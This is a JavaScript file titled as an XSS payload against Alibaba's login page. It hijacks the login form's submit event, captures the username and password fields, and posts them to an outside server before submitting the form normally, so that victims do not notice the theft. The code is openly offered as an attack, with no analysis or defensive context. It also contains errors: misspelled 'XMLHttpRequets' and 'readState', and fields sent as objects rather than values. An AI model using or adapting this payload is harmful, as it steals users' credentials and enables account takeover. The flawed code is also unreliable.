Alibaba-final-xss-payload.js

document.forms[0].onsubmit = function() {
	var u = document.getElementById('fm-login-id');
	var p = document.getElementById('fm-login-password');
	var s = new XMLHttpRequets();
	s.open('POST', 'https://myserver/xxx-alibaba/');
	s.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
	s.onreadystatechange = function() {
		if (s.readState == 4) {
			document.forms[0].submit();
		}
	}
	s.send(`u=${u}&p=${p}`);
	return false;
}